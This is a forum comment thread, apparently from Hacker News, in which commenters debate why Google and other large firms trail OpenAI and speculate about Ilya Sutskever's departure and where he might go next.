I agree that this will happen (I said in another post), but I can't for the life of me attach it to one of the points I made
If that is the case, why hasn't Google caught up yet?
Is Google significantly behind? I would say from a technological perspective, they're very closely trailing or even surpassing OpenAI in many ways; they've built a formidable ChatGPT competitor in Gemini—not to mention they have a huge home court advantage with billions of people on Search, Chrome, Android, and G Suite. If you zoom out a bit, it's not really a fair fight between the two. More likely, Apple and Microsoft win against Google because they use/buy OpenAI.
Technical chops has never been Google's problem. Gemini for all the hype Google has thrown at it, has continued the recurring trend of G not knowing how to win with their product launches.
When you push either model to its limits, yes, Google is pretty far behind GPT-4 with Gemini.
Because Google is huge. Presumably the same reason why Microsoft finds it easier to shovel billions into OpenAI instead of doing it in-house.
Because their weakness is in focus and execution, not resources.
If they focused all of their energy on, simply, a frontier AI model, and not trying to shoehorn a half-complete model into all of their products, there is no doubt they would be ahead.
But this is the innovator's dilemma, and why it is that startups are the disruptors.
Big companies move slow and lack focus. Small companies move fast and can only focus on one thing.
and politics, although they seem to have woken up (no pun intended) and started de-politicizing.
Wrong leadership at every level: Sundar as CEO, Prabhakar as Search SVP, Sissie as Assistant/Gemini VP. Maybe they should hire Ilya instead?
probably because they have identified (correctly) that slowly integrating AI into their existing products that make them hundreds of billions is smarter than just burning that money to get upvoted on HN. Tall trees catch too much wind, ancient Chinese proverb. If you can afford to being second is usually less painful than being first.
There are clear advantages and disadvantages to that approach, but assuming this is the correct choice ( seems plausible, but I am not automatically convinced ), is that the actual reason for being as behind as they are?
I would argue that is not the case. I won't re-list some of the reasons other posters mentioned, which, based on past year, appear more likely ( decisions hamstrung by corporate committees, data governance bureaucracy, and last, but not least, ideology focus ). Leadership that is actually focused on 'delivering value to the shareholder' or not being worried about first mover advantage seems only a part of it.
edit: added first mover wording
my guess is that a significantly underrated reason is that Google holds itself to stricter data compliance standards than OAI
That is openly laughable. Incognito mode claims, just one of a long list of examples of this politicized monopoly engaging in criminal behavior.
I don’t think that’s a fair take nor does it really disprove mine.
The compliance regime at big corps is definitely more sophisticated than at a player like OAI
Cynicism is just giving yourself an excuse to be wrong because it sounds cooler.
Google is ideologically compromised which ties them into knots and creates endless internal struggles.
this led to the release of Gemini which was absurdly biased when viewed by the typical American.
I feel like the lowest hanging fruit right now lies with the UI and already established techniques for reducing latency and making the experience smoother.
Just executing the client right would give someone a competitive advantage right now...
I'd argue it's mainly a matter of people. Otherwise Meta, Amazon, Google, etc would've released their versions like yesterday.
I mean, that's probably 90% or 95% true, but the remaining 5-10% is almost certainly worth a $100M offer to Sutskever from Google or Meta (or possibly Amazon or Apple).
it’s a matter of data
I think what is probably very stressful about this space is virtually everyone knows how ChatGPT works. It is not a theoretical leap. It's actually fairly predictable how this shakes out, and OpenAI is pretty vulnerable.
an LLM is a curiosity without user data, anyone with a big silo of data can put out something years behind frontier and still instantly see huge usage. No one wants to go to AI, they want AI to come to them, unless OpenAI can stake a claim in a super novel way they're the Dropbox.
It's not like someone is going to use insider OpenAI knowledge to build an LLM so advanced you switch email, phone, or ERP providers
Last time such a departure led to the creation of Anthropic (Dario Amodei), they even equalled GPT-4's performance
I think it's less that only 4 wizards on earth can create it, and more that hardly anyone wants to.
If Apple, Google, or MS are integrating LLMs, they can't get away with "you can talk to this website". The intersection of "has the cash to train a LLM" and "LLM is itself the entire offering" is very small
No they don’t; if they did Google and Meta would have put out offerings that objectively beat OpenAI. However (barring temporary lapses) they’ve stayed ahead of the curve. Someone who constantly thinks low of their competition or people they hate is bound to fail.
First, "objectively beat" doesn't matter. Comparative LLM performance means more or less nothing without application.
Let's say Google's LLM has slightly poorer reasoning, and you have to be really clear when you tell it to delete your old emails. What are you going to do, go to ChatGPT and have it very eloquently walk you through how to manually delete your emails?
But the idea that Google, the terrifying nation-state, who covetously gobbled up most of the bright minds of a generation, just couldn't fathom RLHF, means you think there is some inherent magic at OpenAI.
I use OpenAI's models a lot, obviously they're great, but whole-thread-as-context as a product is not a product, and Google has people plural who could execute that from first principles.
> It's not like someone is going to use insider OpenAI knowledge to build an LLM so advanced you switch email, phone, or ERP providers
If you mean the other kind of ERP they will definitely do that; it's basically all /r/localllama is about.
You will still need the compute resources of Microsoft, Meta etc.
And they have their own people who equally know how LLMs work.
Even raising funds is not a certainty given that VCs are becoming more cautious with AI as they realise it's now a platform fight between the mega corporations.
Plenty of companies have compute, but everyone is barely catching up to GPT-4 over a year after release. I'm sure places like Meta would love to unlock the details of what makes it so good.
There's no mystery, they just have a lot of actual user data, so they've been able to refine the question answering behavior. They've also baked some common problem solving strategies like chain of thought into the model via training.
> Even raising funds is not a certainty given that VCs are becoming more cautious
You'd think any investor would be utterly stupid to not make an exception for Ilya, regardless.
That’s not such a given. There are a toooon of deep pockets in this space already and absolutely zero path to profitable products for any of them.
> You will still need the compute resources of Microsoft, Meta etc.
2-3 years ago sure, but now? Maybe he knows how to reduce that need by order of magnitude.
yep, and the puzzle isnt 'make chatgtp again' its 'catch up to chatgpt' which is a whole other puzzle
I don't think it's good to lionize people like that, like some kind of tech Übermensch. He neither knows everything about ChatGPT, nor is he the only person there to know a whole lot about it.
If his concern was irresponsible AI proliferation, too much commercial focus and wanting to move more carefully, accelerating competition doesn't seem like it would align with his goals.
If he really is quitting over ethics he isn't going to Google or Meta. He'll probably go to Anthropic or academia. But who knows.
Everyone knows how chatGPT works.
first Andrej and now Ilya. Talent exodus at OpenAI?